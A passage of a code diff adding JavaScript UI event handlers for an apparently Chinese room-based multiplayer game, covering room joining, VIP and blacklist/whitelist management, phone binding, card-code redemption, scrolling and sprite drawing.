3166: + GameUI.Mem.snrOption.rebateType = 1; + break; + case 3167: + GameUI.Mem.snrOption.rebateType = 0; + break; + case 3102: + case 3105: + case 3106: + if (!GameData.imgAdIsSlide) { + //console.log(GameData.menuNotice["advert"+GameData.noticePage]) + //switch(GameData.noticePage){ + //case 0: + //console.log(GameData.menuNotice.advert0); + //break; + //case 1: + //console.log(GameData.menuNotice.advert1); + //break; + //case 2: + //console.log(GameData.menuNotice.advert2); + //break; + //} + if (GameData.menuNotice["advert" + GameData.noticePage].imgAdUrl) { + Func.browser(GameData.menuNotice["advert" + GameData.noticePage].imgAdUrl); + //Func.OpenurlTitleData(GameData.menuNotice["advert"+GameData.noticePage].imgAdUrl,"",""); + } + + } + break; + case 3103: + if (GameData.firstConnect_Succ && GameData.getJSONState && GameData.LoadCount == 100) { + if (GameData.adTimer) { + window.clearInterval(GameData.adTimer); + GameData.adTimer = null; + } + set_self(1, 57, 0, 0, 0); + GameUI.JumpWxAuth(); + + } + break; + case 3107: + GameUI.SelectSysNotice(); + break; + case 3111: + if (!Game_Config.sysConfig.vipInfinite) { + GameData.selectSysNotice = !GameData.selectSysNotice; + } else { + GameData.selectSysNotice = true; + } + if (!GameData.selectSysNotice) { + Func.setInput(204, Game_Config.Chat.LimitLength); + } else { + Func.setInput(204, ConstVal.sysNotice.limit); + } + + break; + case 3120: + //更多 + GameUI.openPallet(); + break; + case 3122: + GameUI.closePallet(); + break; + case 92: + GameUI.goWorldRoom1(); + break; + case 93: + GameUI.goWorldRoom2(); + break; + case 99: + GameUI.showMyRoomList(); + break; + case 103: + GameUI.hideMyRoomList(); + break; + case 98: + var up_id = ifast_check_add(spid_up, upx, upy); + if (up_id >= ConstVal.myRoomList.bgTag && up_id < ConstVal.myRoomList.roomCodeTag) { + console.log(GameData.roomList[up_id - ConstVal.myRoomList.bgTag]); + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.roomList[up_id - ConstVal.myRoomList.bgTag]; + data.joinmode = 1; + Net.Send_self_join_room(data); + } + break; + case 106: + Func.accreditlogin(1); + break; + case 107: + if (get_self(108, 37, 0, 0, 0)) { + GameUI.closeMainSceneBtnPanel(); + } else { + GameUI.openMainSceneBtnPanel(); + } + + break; + case 3123: + GameUI.closeMainSceneBtnPanel(); + break; + case 284: + if (get_self(109, 37, 0, 0, 0)) { + GameUI.closeRoomInfo(); + } else { + GameUI.openRoomInfo(); + } + break; + case 109: + case 3124: + GameUI.closeRoomInfo(); + break; + case 3141: + if (get_self(109, 37, 0, 0, 0)) { + GameUI.closeRoomInfo(); + } else { + GameUI.openRoomInfo(); + } + break; + case 187: + GameData.clickChat++; + if (GameData.clickChat % 3 == 0 && GameData.isService) { + GameData.clickChat = 0; + GameData.communionHistory = []; + GameUI.clearCommunion(); + GameUI.CloseChat(); + GameUI.OpenChat(); + + + } + break; + case 3126: + GameUI.stopRecord(); + break; + case 3133: + GameUI.clickSnrVideo(3133); + break; + case 3164: + GameUI.clickSnrRoomState(); + break; + case 3139: + //官方试玩 + if (GameData.sysConfig.ofcShortCode) { + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + data.roomcode = GameData.sysConfig.ofcShortCode; + Net.Send_self_join_room(data); + } else { + GameUI.OpenTips("暂未开放,敬请期待", ConstVal.Tips.time); + } + break; + case 3140: + case 3235: + //改成游戏内管理好友 + if (GameData.sysConfig.whiteListManager == 1) { + var data = {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + Net.Send_getPlayerWhiteList(data); + }else{ + if (GameData.sysConfig.managerUrl) { + Func.OpenurlTitleData(GameData.sysConfig.managerUrl+"?agentid="+GameData.AgentId+"&channelid=" + +GameData.ChannelId+"&__HTML_VERSION__=3", + "管理后台",""); + Func.browser(GameData.sysConfig.managerUrl + "?agentid=" + GameData.AgentId + "&channelid=" + GameData.ChannelId + "&playerid=" + C_Player.playerid + "&openid=" + C_Player.openid + "&unionid=" + C_Player.unionid); + } + } + + break; + case 3149: + if (get_self(3148, 37)) { + GameUI.hideOwnerNotice(); + } else { + //if(Logic.getVisibleNote()){ + GameUI.showOwnerNotice(Desk.ownerNotice); + //} + + } + + break; + case 3155: + var text = get_self(3154, 7); + + if (GameData.textCallback) { + GameData.textCallback(text); + GameData.textCallback = null; + } + GameUI.closeTextInput(); + break; + case 3159: + + GameUI.closeTextInput(); + break; + case 3156: + GameUI.openTextInput(C_Player.sign, setSignCallBack, 20); + break; + case 3150: + case 3148: + GameUI.hideOwnerNotice(); + break; + case 3158: + GameUI.closeSeniorOptions(); + break; + case 679: + GameUI.openVipRoomList(true); + break; + case 3182: + GameUI.closeVipRoomList(); + break; + case 3175: + GameUI.goVipPageOne(); + break; + case 3196: + case 3197: + Utl.openInputPanel("请输入您要设置的值",playeridInputCallBack); + break; + case 3194: + var txt = get_self(3197,7,0,0,0); + if(txt.length == 6){ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.optId = txt; + data.type = 3; + Net.Send_optBanList(data); + }else{ + GameUI.OpenTips("请输入正确的玩家ID!",ConstVal.Tips.time); + } + break; + case 3195: + var txt = get_self(3197,7,0,0,0); + if(txt.length == 6){ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.optId = txt; + data.type = 4; + Net.Send_optBanList(data); + }else{ + GameUI.OpenTips("请输入正确的玩家ID!",ConstVal.Tips.time); + } + break; + case 3214: + //GameUI.openBlackList(); + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.type = 1; + Net.Send_optBanList(data); + break; + case 3205: + Utl.openInputPanel("请输入玩家ID(长度六位)",blackInputCallBack); + break; + case 3203: + case 3200: + GameUI.closeBlackList(); + break; + case 3206://添加 + var txt = get_self(3212,7,0,0,0); + if(txt.length == 6){ + var data={}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.optId = txt; + if(GameData.blackList.breakRoom){ + data.breakRoom = 1; + }else{ + data.breakRoom = 0; + } + data.type = 3; + Net.Send_optBanList(data); + }else{ + GameUI.OpenTips("请输入正确的玩家ID!",ConstVal.Tips.time); + } + break; + case 3216://删除 + var txt = get_self(3212,7,0,0,0); + if(txt.length == 6){ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.optId = txt; + data.type = 4; + Net.Send_optBanList(data); + }else{ + GameUI.OpenTips("请输入正确的玩家ID!",ConstVal.Tips.time); + } + break; + case ConstVal.blackList.f_spid: + // + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.blackList.slide) { + if (up_id >= ConstVal.blackList.del_tag) { + GameData.blackList.selectTag = up_id - ConstVal.blackList.del_tag; + //console.log(GameData.blackList.data[GameData.blackList.selectTag]); + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.optId = GameData.blackList.data[GameData.blackList.selectTag]; + data.type = 4; + Net.Send_optBanList(data); + } + } + break; + case ConstVal.whiteList.f_spid: + // + var up_id = ifast_check_add(spid_up, upx, upy); + if (!GameData.whiteList.slide) { + if (up_id >= ConstVal.whiteList.del_tag) { + GameData.whiteList.selectTag = up_id - ConstVal.whiteList.del_tag; + //console.log(GameData.whiteList.data[GameData.whiteList.selectTag]); + var pinfo = GameData.whiteList.data[GameData.whiteList.selectTag]; + GameData.whiteList.delPid = pinfo[0]; + GameData.checkType = 8; + GameUI.openCheck("是否删除"+pinfo[0]+",当前魅力值:"+pinfo[2]); + } + if (up_id >= ConstVal.whiteList.bg_tag && up_id < ConstVal.whiteList.id_tag) { + GameData.whiteList.selectTag = up_id - ConstVal.whiteList.bg_tag; + //console.log(GameData.whiteList.data[GameData.whiteList.selectTag]); + GameUI.searchWhiteList(GameData.whiteList.data[GameData.whiteList.selectTag][0]); + } + } + break; + case 3281: + if(GameData.whiteList.inputId){ + GameData.checkType = 8; + GameData.whiteList.delPid = GameData.whiteList.inputId; + GameUI.openCheck("是否删除"+GameData.whiteList.inputId+",当前魅力值:"+GameData.whiteList.inputCharm); + }else{ + GameUI.OpenTips("请输入正确的玩家ID!",ConstVal.Tips.time); + } + break; + case 3276: + if(GameData.whiteList.inputId){ + GameData.checkType = 9; + GameData.whiteList.delPid = GameData.whiteList.inputId; + GameUI.openCheck("是否添加/修改"+GameData.whiteList.inputId+",魅力值:"+GameData.whiteList.inputCharm); + }else{ + GameUI.OpenTips("请输入正确的玩家ID!",ConstVal.Tips.time); + } + break; + case 3270: + case 3274: + GameUI.closeWhiteList(); + break; + case 3287: + Utl.openInputPanel("请输入玩家ID(长度六位)",whiteInputCallBack3); + break; + case 3275: + Utl.openInputPanel("请输入玩家ID(长度六位)",whiteInputCallBack1); + break; + case 3282: + Utl.openInputPanel("请输入魅力值",whiteInputCallBack2); + break; + case 3289: + GameUI.searchWhiteList(GameData.whiteList.searchId); + break; + case 3217: + //粘贴 + GameData.gamepastetext = "mouseup_3217"; + var text = Func.gamepastetext(); + if (GameData.userAgent != ConstVal.userAgent.uAgent_3) { + var reg = /[^0-9]/g; + if (text) { + text = text.replace(reg, ""); + GameData.inputPanelData = text; + GameUI.setNumberImage(3003, GameData.inputPanelData, 51); + GameUI.adaptPositionSpid(3003, 3002); + } + } + break; + case 3210: + GameData.checkType = 6; + GameUI.openCheck("将所有白名单玩家添加至黑名单?"); + break; + case 3215: + GameData.checkType = 7; + GameUI.openCheck("将所有白名单玩家"+GameData.sysConfig.charmName+"设为"+GameData.allCharm+"?"); + break; + case 3199: + //GameUI.openVipRank(); + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.shortcode = GameData.vipRoomCode; + Net.Send_getShortCodeRankList(data); + break; + case 3222: + case 3218: + GameUI.closeVipRank(); + break; + case 3231: + case 3232: + var data={}; + data.agentid = GameData.AgentId; + data.limit = GameData.sysConfig.vipRankLimit; + Net.Send_getVipRankList(data); + break; + case 3236: + Utl.openInputPanel("请输入免收值",rebateLimitCallback); + break; + case 3240: + //打开加入房间 + GameUI.closeVipRoomList(); + GameUI.OpenJoinRoom(); + break; + case 3243: + //Utl.openTextInput(get_self(3247,7),phoneNumberCallback); + Utl.openInputPanel("请输入手机号",phoneNumberCallback,true); + break; + case 3244: + //Utl.openTextInput(get_self(3248,7),phoneCodeCallback); + Utl.openInputPanel("请输入验证码",phoneCodeCallback,true); + break; + case 3251: + case 3241: + GameUI.closePhoneBind(); + break; + case 3255: + Func.deviceLogin(); + break; + case 3253: + switch(GameData.phoneType){ + case 1://手机号登录 + if(GameData.phoneNumber && GameData.phoneCode){ + // Func.deviceLogin(GameData.phoneNumber,GameData.phoneCode); + Func.phoneLogin(GameData.phoneNumber,GameData.phoneCode); + GameUI.closePhoneBind(); + }else{ + GameUI.OpenTips("手机号与验证码均不能为空!"); + } + break; + case 2://手机号绑定 + if(GameData.phoneNumber && GameData.phoneCode){ + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.phonenum = GameData.phoneNumber; + data.smmcode = GameData.phoneCode; + Net.Send_binding_phone(data); + }else{ + GameUI.OpenTips("手机号与验证码均不能为空!"); + } + break; + } + + break; + case 3254: + GameData.phoneType = 1; + GameUI.openPhoneBind(); + break; + case 3256: + if(C_Player.tel){ + GameUI.OpenTips("您已绑定手机号:"+C_Player.tel,ConstVal.Tips.time); + }else{ + GameData.phoneType = 2; + GameUI.openPhoneBind(); + } + break; + case 3245: + if(GameData.phoneCodeTime <= 0 && GameData.phoneNumber){ + var data = {}; + data.agentid = GameData.AgentId; + data.phonenum = GameData.phoneNumber; + Net.Send_send_phone_code_wechat(data); + Logic.savePhoneCode(GameData.phoneNumber,""); + GameUI.closePhoneBind(); + GameUI.openPhoneBind(); + } + break; + case 3258: + //GameUI.clickSnrFobid(); + var data={}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.gameid = GameData.GameId; + var fData = 1; + if(GameData.snrRoomList.forbidSelect){ + fData = 0; + } + data.forbidSelect = fData; + Net.Send_setVipForbidSelect(data); + break; + case 3260: + GameData.blackList.breakRoom = !GameData.blackList.breakRoom; + break; + case 3264: + GameData.feedMode = 2; + GameUI.OpenFeedback(true); + break; + case 3265: + GameData.gamepastetext = "mouseup_3265"; + var c_text = Func.gamepastetext(); + if(c_text){ + set_self(551,7,c_text,0,0); + } + break; + case 3266: + var text = GameUI.getFeedbackText(); + var bTemp = Func.strisNull(text); + if (!bTemp) { + GameUI.CloseFeedback(); + //发送cdkey + var data= {}; + data.agentid = GameData.AgentId; + data.playerid = C_Player.playerid; + data.cardno = text; + Net.Send_topup_card(data); + } + break; + case 3268: + GameData.shareFriendInfo.sharetype = 3; + GameUI.closeSharePannel(); + Func.sharefriend(GameData.shareFriendInfo); + break; + case 3269: + GameData.shareFriendInfo.sharetype = 0; + GameUI.closeSharePannel(); + Func.sharefriend(GameData.shareFriendInfo); + break; + case 3267: + GameUI.closeSharePannel(); + break; + } + if (spid_up >= 376 && spid_up <= 385) { + for (var i = 0; i < Desk.PlayerList.length; i++) { + var ind = Logic.ChangeToStatus(C_Player.seat, i); + if (ind == spid_up - 376) { + var pOjb = Desk.PlayerList[i]; + GameUI.OpenInfo(ind, pOjb.nickname, pOjb.playerid, pOjb.ip, pOjb.sex, pOjb.seat, pOjb.bean, pOjb.charm); + pOjb = null; + } + } + } + if (spid_up >= 461 && spid_up <= 463) { + GameUI.switchPayType(spid_up - 461); + } + if (spid_up >= 416 && spid_up <= 425) { + GameData.payData[0] = spid_up - 416; + GameUI.OpenCheckPay(); + } + if (spid_up >= 29 && spid_up <= 40) { + Logic.InputRoomCode(spid_up); + } + if (spid_up >= 206 && spid_up <= 212) { + var obj = gameabc_face.getdiv("div204"); + obj.blur(); + obj = null; + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + data.text = Game_Config.Info.TextContent[spid_up - 206]; + if (GameData.chatInfo) { + data.info = GameData.chatInfo; + data.type = 2; + } + Net.Send_send_text(data); + } + if (spid_up >= 256 && spid_up <= 263) { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId; + data.playerid = C_Player.playerid; + data.roomcode = Desk.roomcode; + data.giftid = spid_up - 255; + data.receiveseat = GameData.InteractPlayer; + if (GameData.chatInfo) { + data.info = GameData.chatInfo; + data.type = 2; + } + Net.Send_send_gift(data); + } + if (spid_up >= 391 && spid_up <= 403) { + GameUI.CalInput(spid_up); + } + if (spid_up >= 661 && spid_up <= 671 || spid_up == 3000) { + GameUI.inputPanel(spid_up); + } + if (spid_up >= 3044 && spid_up <= 3055) { + GameUI.wareHouseInput(spid_up); + } + + } + +}; + +GameUI.utlmousemove = function(gameid, spid, downx, downy, movex, movey, timelong, offmovex, offmovey, no1) { + //点击后移动代码 + + switch (spid) { + case 252: + //协议内容 + set_self(spid, 19, offmovey, 1, 0); + break; + case 290: + //帮助内容 + set_self(spid, 19, offmovey, 1, 0); + break; + case ConstVal.Emotion.f_spid: + //表情 + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.slidEmotion = true; + } + + break; + case ConstVal.Com_History.f_spid: + //表情 + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.slideHistory = true; + } + break; + case ConstVal.Task.f_spid: + + if (ifast_abs(offmovex) > 2) { + set_self(spid, 18, offmovex, 1, 0); + GameData.slideTask = true; + } + break; + case 404: + set_self(spid, 19, offmovey, 1, 0); + set_self(81, 19, offmovey, 1, 0); + break; + case 3102: + case 3105: + case 3106: + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.imgAdIsSlide = true; + } + break; + case ConstVal.worldRoom.f_sp_1: + //系统房间 + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.worldRoomSysSlide = true; + } + break; + case ConstVal.worldRoom.f_sp_2: + //玩家房间 + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.worldRoomPlySlide = true; + } + break; + case ConstVal.snrRoomList.f_spid: + //玩家房间 + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.snrRoomListSlide = true; + } + break; + case 597: + GameUI.seniorOptionsSlide(gameid, spid, downx, downy, movex, movey, timelong, offmovex, offmovey, no1); + break; + case ConstVal.rankList.f_spid: + //玩家房间 + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.rankListSlide = true; + } + break; + case ConstVal.sysNotice.f_spid: + //玩家房间 + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + } + break; + case ConstVal.vipRoomList1.f_spid: + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.vipRoomPageOne.slide = true; + } + + break; + case ConstVal.vipRoomList2.f_spid: + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.vipRoomPageTwo.slide = true; + } + break; + case ConstVal.blackList.f_spid: + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.blackList.slide = true; + } + + break; + case ConstVal.vipRank.f_spid: + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.vipRank.slide = true; + } + + break; + case ConstVal.whiteList.f_spid: + if (ifast_abs(offmovey) > 2) { + set_self(spid, 19, offmovey, 1, 0); + GameData.whiteList.slide = true; + } + + break; + + + } + +}; + +GameUI.utlgamemydraw = function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7) { + //每个精灵更新绘画代码 + if (spid >= 376 && spid <= 385) { + if (typeof(GameUI.onstate[spid - 376]) != "undefined") { + if (GameUI.onstate[spid - 376] == 1) { //离线 + ifast_mydrawbmp(spid, 90, 0, 0, get_self(spid, 20, 0, 0, 0), get_self(spid, 21, 0, 0, 0), 0, 0, 100, 100); + } else if (GameUI.onstate[spid - 376] == 2) { //通话中 + ifast_mydrawbmp(spid, 91, 0, 0, get_self(spid, 20, 0, 0, 0), get_self(spid, 21, 0, 0, 0), 0, 0, 94, 96); + } + if (Desk.needprepare == 1) { + if (GameUI.isprepare[spid - 376] == 1) { //已准备 + + } else if (GameUI.onstate[spid - 376] == 0) { //未准备 + ifast_mydrawbmp(spid, 209, 0, 0, get_self(spid, 20, 0, 0, 0), get_self(spid, 21, 0, 0, 0), 0, 0, 100, 100); + } + } + } + } + switch (spid) { + + + case 118: + //个人信息性别 + case 282: + { + if (InfoSex == "2") { //女 + ifast_mydrawbmp(spid, 47, 80, 80, 44, 44, 44, 0, 44, 44); + } else { //男 + ifast_mydrawbmp(spid, 47, 80, 80, 44, 44, 0, 0, 44, 44); + } + } + break; + + case 17: + //任务按钮 + if (C_Player.taskstate != 0) { + ifast_mydrawbmp(spid, 88, 50, -23, 63, 63, 0, 0, 63, 63); + } + break; + + case 254: + //进度条 + ifast_mydrawbmp(spid, 96, 0, 0, GameData.LoadCount * get_self(spid, 20, 0, 0, 0) / 100 + 0.1, get_self(spid, 21, 0, 0, 0), 0, get_self(spid, 21, 0, 0, 0), GameData.LoadCount * 416 / 100 + 0.1, get_self(spid, 21, 0, 0, 0)); + break; + case 256: + //互动按钮1 + ifast_mydrawbmp(spid, 99, 0, 5, 80, 80, 20, 30, 90, 90); + break; + case 257: + //互动按钮2 + ifast_mydrawbmp(spid, 102, 0, 0, 80, 80, 1210, 0, 110, 98); + break; + case 258: + //互动按钮3 + ifast_mydrawbmp(spid, 103, 5, 0, 80, 80, 0, 0, 190, 190); + break; + case 259: + //互动按钮4 + ifast_mydrawbmp(spid, 104, 0, 3, 80, 80, 260, 0, 130, 130); + break; + case 339: + //微信公众号下划线 + if (GameData.wechat_gzh) { + drawlines(spid, 0, 38, get_self(spid, 20, 0, 0, 0), 38, 2, GameData.gzhcolor1); + } + break; + case 680: + //微信公众号下划线 + drawlines(spid, 0, 30, get_self(spid, 20, 0, 0, 0), 30, 2, GameData.gzhcolor2); + break; + case GameData.telSpid: + //微信公众号下划线 + //if(GameData.roomList.length==0){ + if (GameData.tel) { + drawlines(spid, 0, 21, get_self(spid, 20, 0, 0, 0), 21, 2, GameData.telcolor); + } + //}else{ + //drawlines(spid,5,30,get_self(spid,20,0,0,0),30,2,GameData.telcolor); + //} + break; + //case 682: + //if(GameData.roomList.length>=1){ + //drawlines(spid,0,30,get_self(spid,20,0,0,0),30,2,GameData.telcolor); + //} + //break; + //case 178: + //if(GameData.roomList.length>=2){ + //drawlines(spid,0,30,get_self(spid,20,0,0,0),30,2,GameData.telcolor); + //} + //break; + //case 179: + //if(GameData.roomList.length>=3){ + //drawlines(spid,0,30,get_self(spid,20,0,0,0),30,2,GameData.telcolor); + //} + //break; + case 326: + if (GameData.disType) { + drawlines(spid, 630, 700, 635, 700, 5); + } + for (var i = 0; i < GameData.serverIndex + 1; i++) { + drawlines(spid, 1100 + i * 10, 700, 1105 + i * 10, 700, 2); + } + break; + case 3100: + if (GameUI.Mem.snrOption.infinite == 1) { + ifast_mydrawbmp(spid, 390, 0, 0, 40, 40, 0, 0, 40, 40); + } + break; + case 3166: + if (GameUI.Mem.snrOption.rebateType == 1) { + ifast_mydrawbmp(spid, 390, 0, 0, 40, 40, 0, 0, 40, 40); + } + break; + case 3167: + if (GameUI.Mem.snrOption.rebateType == 0) { + ifast_mydrawbmp(spid, 390, 0, 0, 40, 40, 0, 0, 40, 40); + } + break; + case 3115: + ifast_mydrawtext(spid, 1, 6, 3, String(get_rec(1)).gblen() * 12.5, 20); + ifast_mydrawtext(spid, 2, 6, 26, String(get_rec(2)).gblen() * 12.5, 20); + break; + case 3111: + if (GameData.selectSysNotice) { + ifast_mydrawbmp(spid, 4, 2, 2, 40, 40, 0, 0, 40, 40); + } + break; + case 568: + if (!GameData.hallConfig.worldRoomList) { + //ifast_mydrawbmp(spid,11,0,0,get_self(spid,20,0,0,0),get_self(spid,21,0,0,0),0,0,4,4); + ifast_mydrawbmp(spid, 352, 80, 0, 230, 230, 0, 0, 230, 230); + } + break; + case 483: + //if (!GameData.matchhtml) { + //ifast_mydrawbmp(spid, 352, 80, 0, 230, 230, 0, 0, 230, 230); + //} + if (!GameData.vipConfig) { + ifast_mydrawbmp(spid, 352, 80, 0, 230, 230, 0, 0, 230, 230); + } + break; + case 3139: + if (!GameData.sysConfig.ofcShortCode) { + //ifast_mydrawbmp(spid,11,0,0,get_self(spid,20,0,0,0),get_self(spid,21,0,0,0),0,0,4,4); + ifast_mydrawbmp(spid, 352, 110, 5, 99, 99, 0, 0, 230, 230); + } + break; + case ConstVal.Com_History.f_spid: + if (GameData.chatLine != null && GameData.isService) { + drawlines(spid, GameData.chatLine[0], GameData.chatLine[1] + GameData.chatLine[3], GameData.chatLine[0] + GameData.chatLine[2], GameData.chatLine[1] + GameData.chatLine[3], 4, "white"); + } + break; + case 3260: + if(GameData.blackList.breakRoom){ + ifast_mydrawbmp(spid, 432, 0, 0, 50, 50, 50, 0, 50, 50); + } + break; + } + +}; +GameUI.utlgamemydrawbegin = function(gameid, spid, times, timelong, no2, no3, no4, no5, no6, no7) { + //每个精灵更新前绘画代码 + if (spid == 220) { + set_clip(0, 0, Game_Config.Notice.x1, Game_Config.Notice.y, Game_Config.Notice.x2 - Game_Config.Notice.x1, Game_Config.Notice.h); + } + if (spid == 252) { + set_clip(0, 0, Game_Config.Protocol.x, Game_Config.Protocol.y, Game_Config.Protocol.w, Game_Config.Protocol.h); + } + if (spid == 290) { + set_clip(0, 0, Game_Config.Help.x, Game_Config.Help.y, Game_Config.Help.w, Game_Config.Help.h); + } + //if(spid>=315&&spid<=318){ + //if(TaskInfo[spid-315]){ + //set_clip(spid,0,0,0,get_self(311,20,0,0,0)/Number(TaskInfo[spid-315].total)*Number(TaskInfo[spid-315].finish)+0.1,20); + //} + //} + if (spid == 333) { + set_clip(0, 0, ConstVal.iMessage.x1, ConstVal.iMessage.y, ConstVal.iMessage.x2 - ConstVal.iMessage.x1, ConstVal.iMessage.h); + } + if (spid == 338) { + set_clip(spid, 0, 0, 0, get_self(337, 20, 0, 0, 0) * GameData.Battery, get_self(337, 21, 0, 0, 0)); + } + if (spid == ConstVal.Emotion.f_spid) { + set_clip(0, 0, ConstVal.Emotion.clip_x, ConstVal.Emotion.clip_y, ConstVal.Emotion.clip_w, ConstVal.Emotion.clip_h); + } + if (spid == ConstVal.Com_History.f_spid) { + set_clip(0, 0, ConstVal.Com_History.clip_x, ConstVal.Com_History.clip_y, ConstVal.Com_History.clip_w, ConstVal.Com_History.clip_h); + } + if (spid == ConstVal.Task.f_spid) { + set_clip(0, 0, ConstVal.Task.clip_x, ConstVal.Task.clip_y, ConstVal.Task.clip_w, ConstVal.Task.clip_h); + } + if (spid == 390) { + set_clip(0, 0, ConstVal.Broadcast.clip_x, ConstVal.Broadcast.clip_y, ConstVal.Broadcast.clip_w, ConstVal.Broadcast.clip_h); + } + if (spid == 404 || spid == 81) { + set_clip(0, 0, ConstVal.Notice.clip_x, ConstVal.Notice.clip_y, ConstVal.Notice.clip_w, ConstVal.Notice.clip_h); + } + if (spid == 3102 || spid == 3105 || spid == 3106) { + set_clip(0, 0, ConstVal.Notice.img_clip_x, ConstVal.Notice.img_clip_y, ConstVal.Notice.img_clip_w, ConstVal.Notice.img_clip_h); + } + if (spid == ConstVal.worldRoom.f_sp_1) { + set_clip(0, 0, ConstVal.worldRoom.clip_x_1, ConstVal.worldRoom.clip_y_1, ConstVal.worldRoom.clip_w_1, ConstVal.worldRoom.clip_h_1); + } + if (spid == ConstVal.worldRoom.f_sp_2) { + set_clip(0, 0, ConstVal.worldRoom.clip_x_2, ConstVal.worldRoom.clip_y_2, ConstVal.worldRoom.clip_w_2, ConstVal.worldRoom.clip_h_2); + } + if (spid == ConstVal.snrRoomList.f_spid) { + set_clip(0, 0, ConstVal.snrRoomList.clip_x, ConstVal.snrRoomList.clip_y, ConstVal.snrRoomList.clip_w, ConstVal.snrRoomList.clip_h); + } + if (spid == ConstVal.rankList.f_spid) { + set_clip(0, 0, ConstVal.rankList.clip_x, ConstVal.rankList.clip_y, ConstVal.rankList.clip_w, ConstVal.rankList.clip_h); + } + if (spid == ConstVal.sysNotice.f_spid) { + set_clip(0, 0, ConstVal.sysNotice.clip_x, ConstVal.sysNotice.clip_y, ConstVal.sysNotice.clip_w, ConstVal.sysNotice.clip_h); + } + if (spid == ConstVal.vipRoomList1.f_spid) { + set_clip(0, 0, ConstVal.vipRoomList1.clip_x, ConstVal.vipRoomList1.clip_y, ConstVal.vipRoomList1.clip_w, ConstVal.vipRoomList1.clip_h); + } + if (spid == ConstVal.vipRoomList2.f_spid) { + set_clip(0, 0, ConstVal.vipRoomList2.clip_x, ConstVal.vipRoomList2.clip_y, ConstVal.vipRoomList2.clip_w, ConstVal.vipRoomList2.clip_h); + } + if (spid == ConstVal.blackList.f_spid) { + set_clip(0, 0, ConstVal.blackList.clip_x, ConstVal.blackList.clip_y, ConstVal.blackList.clip_w, ConstVal.blackList.clip_h); + } + if (spid == ConstVal.whiteList.f_spid) { + set_clip(0, 0, ConstVal.whiteList.clip_x, ConstVal.whiteList.clip_y, ConstVal.whiteList.clip_w, ConstVal.whiteList.clip_h); + } + if (spid == ConstVal.vipRank.f_spid) { + set_clip(0, 0, ConstVal.vipRank.clip_x, ConstVal.vipRank.clip_y, ConstVal.vipRank.clip_w, ConstVal.vipRank.clip_h); + } +}; + +GameUI.utlontimer = function(gameid, spid, /* 本次间隔多少次了 */ times, /* 本次间隔多久 */ timelong, /* 开启后运行多少次了 */ alltimes) { + /*请在下面输入您的代码 + */ + //set_self(1,18,5,1,0); + switch (spid) { + case 1: + if (GameData.LoadCount == 100) { + //if(ConstVal.netType == 0){ + if (GameData.firstConnect_Succ && GameData.getJSONState) { + this.JumpWxAuth(); + set_self(1, 57, 0, 0, 0); + } + //}else{ + //if(GameData.getJSONState){ + //this.JumpWxAuth(); + //set_self(1,57,0,0,0); + //} + //} + } else { + GameData.Timesup = true; + set_self(1, 57, 0, 0, 0); + } + break; + case 2: + VoteTime--; + if (VoteTime >= 0) { + + set_self(222, 20, String(VoteTime).length * 30, 0, 0); + set_self(222, 7, VoteTime, 0, 0); + } + if (VoteTime <= 0) { + set_self(2, 57, 0, 0, 0); + } + break; + case 3: + + if (get_self(149, 37, 0, 0, 0) == 1) { + Func.SetDate(); + if (get_self(156, 35, 0, 0, 0) == 255) { + set_self(156, 35, 100, 0, 0); + } else { + set_self(156, 35, 255, 0, 0); + } + } + break; + case 4: + if (GameData.vipRoomShortList.length > 0 && get_self(6, 37, 0, 0, 0)) { + var data = {}; + data.agentid = GameData.AgentId; + data.gameid = GameData.GameId + data.shortcodeList = GameData.vipRoomShortList; + Net.Send_getInfoByShortCode(data); + } + break; + case 5: + GameData.phoneCodeTime--; + if(GameData.phoneCodeTime < 0){//倒计时结束 + set_self(5, 57, 0, 0, 0); + set_self(3245,43,2,0,0); + set_self(3246,37,0,0,0); + }else{ + GameUI.setCodeTime(GameData.phoneCodeTime); + } + break; + + } +}; + + +GameUI.invisible = function(bTemp) { + for (var i = 0; i <= Game_Config.Max.group; i++) { + if (bTemp) { + if (i == 89) { + continue; + } + if (i == 32) { + set_self(221, 37, 0, 0, 0); + set_self(223, 37, 0, 0, 0); + continue; + } + } + set_group(i, 37, 0, 0, 0); + } +} +GameUI.JumpWxAuth = function() { //跳转微信授权 + //preAudio(); + //setTimeout(function(){ + //Func.getphoneInfo(); + //C_Player.Init(); + 